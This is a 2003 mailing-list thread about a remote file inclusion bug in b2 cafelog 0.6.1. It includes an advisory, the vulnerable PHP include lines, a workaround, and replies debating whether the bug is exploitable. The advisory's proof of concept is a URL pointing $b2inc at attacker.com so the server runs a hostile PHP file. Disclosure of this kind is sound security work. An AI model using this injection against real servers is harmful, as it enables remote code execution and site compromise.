b2 cafelog 0.6.1 remote command execution.

[pokleyzz]

Products: b2 cafelog 0.6.1 (http://cafelog.com/)
Date: 29 May 2003
Author: pokleyzz <pokleyzz_at_scan-associates.net>
Contributors: sk_at_scan-associates.net
shaharil_at_scan-associates.net
munir_at_scan-associates.net
URL: http://www.scan-associates.net

Summary: b2 cafelog 0.6.1 remote command execution.

Description
===========
b2 cafelog is blogger system written in php with mysql ad database backend.

Details
=======
b2 cafelog 0.6.1 come with directory b2-tools. This directory contain 2
php scripts
(blogger-2-b2.php and gm-2-b2.php) which allow user to specify $b2inc and do
remote code injection.

from blogger-2-b2.php line 21
-----------------------------------------------------
case "step1":

include("b2config.php");
include("$b2inc/b2functions.php");
include("$b2inc/b2vars.php");
------------------------------------------------------------------------------------

from gm-2-b2.php line 5
----------------------------------------------------------
// 3. load in the browser from there

include("b2config.php");
include($b2inc."/b2functions.php");
-----------------------------------------------------------------------------------

Proof of concept
===========
http://blabla.com/b2-tools/gm-2-b2.p...//attacker.com
attacker.com have file named b2functions.php with php script you want to
execute.

Workaround
=========
Remove b2-tools directory.

Vendor Response
===============
Vendor has been contacted on 19/05/2003 but to reply given.

[mike little]

pokleyzz wrote:
> Products: b2 cafelog 0.6.1 (http://cafelog.com/)
> Date: 29 May 2003
> Author: pokleyzz <pokleyzz_at_scan-associates.net>
> Contributors: sk_at_scan-associates.net
> shaharil_at_scan-associates.net
> munir_at_scan-associates.net
> URL: http://www.scan-associates.net
>
> Summary: b2 cafelog 0.6.1 remote command execution.
>
> Description
> ===========
> b2 cafelog is blogger system written in php with mysql ad database backend.
>
> Details
> =======
> b2 cafelog 0.6.1 come with directory b2-tools. This directory contain 2
> php scripts
> (blogger-2-b2.php and gm-2-b2.php) which allow user to specify $b2inc
> and do
> remote code injection.
>
> from blogger-2-b2.php line 21
> -----------------------------------------------------
> case "step1":
>
> include("b2config.php");
> include("$b2inc/b2functions.php");
> include("$b2inc/b2vars.php");
> ------------------------------------------------------------------------------------
>
>
> from gm-2-b2.php line 5
> ----------------------------------------------------------
> // 3. load in the browser from there
>
> include("b2config.php");
> include($b2inc."/b2functions.php");
> -----------------------------------------------------------------------------------
>
>
> Proof of concept
> ===========
> http://blabla.com/b2-tools/gm-2-b2.p...//attacker.com
> attacker.com have file named b2functions.php with php script you want to
> execute.
>
> Workaround
> =========
> Remove b2-tools directory.
>
> Vendor Response
> ===============
> Vendor has been contacted on 19/05/2003 but to reply given.
>
>

Firstly, the issue has been addressed
http://tidakada.com/board/viewtopic.php?t=3212
and a new version issued
http://tidakada.com/board/viewtopic.php?t=3234


Secondly, has anyone tried this? The fact is that b2config.php defines
$b2inc with no test before hand. So that, whilst for the duration of the
parsing of b2config.php, $b2inc could indeed be set to some value from
the outside world. It is immediately overwritten with no check with the
value set by the user (or left from the defalut installation).
In order to effectively use the setting of b2inc for malicious purposes
you would have to have enough access to edit b2config.php.


Mike

[Cheng-Jih Chen]

On Fri, 30 May 2003, mike little wrote:

> Secondly, has anyone tried this? The fact is that b2config.php defines
> $b2inc with no test before hand. So that, whilst for the duration of the
> parsing of b2config.php, $b2inc could indeed be set to some value from
> the outside world. It is immediately overwritten with no check with the
> value set by the user (or left from the defalut installation).
> In order to effectively use the setting of b2inc for malicious purposes
> you would have to have enough access to edit b2config.php.

The problem is that the default location for gm-2-b2.php is in
the b2-tools directory. The include("b2config.php") statement may
then miss the primary b2 directory and fail to pick up b2config.php.
If register_globals is on, then the attacker can set the b2inc variable
from the URL.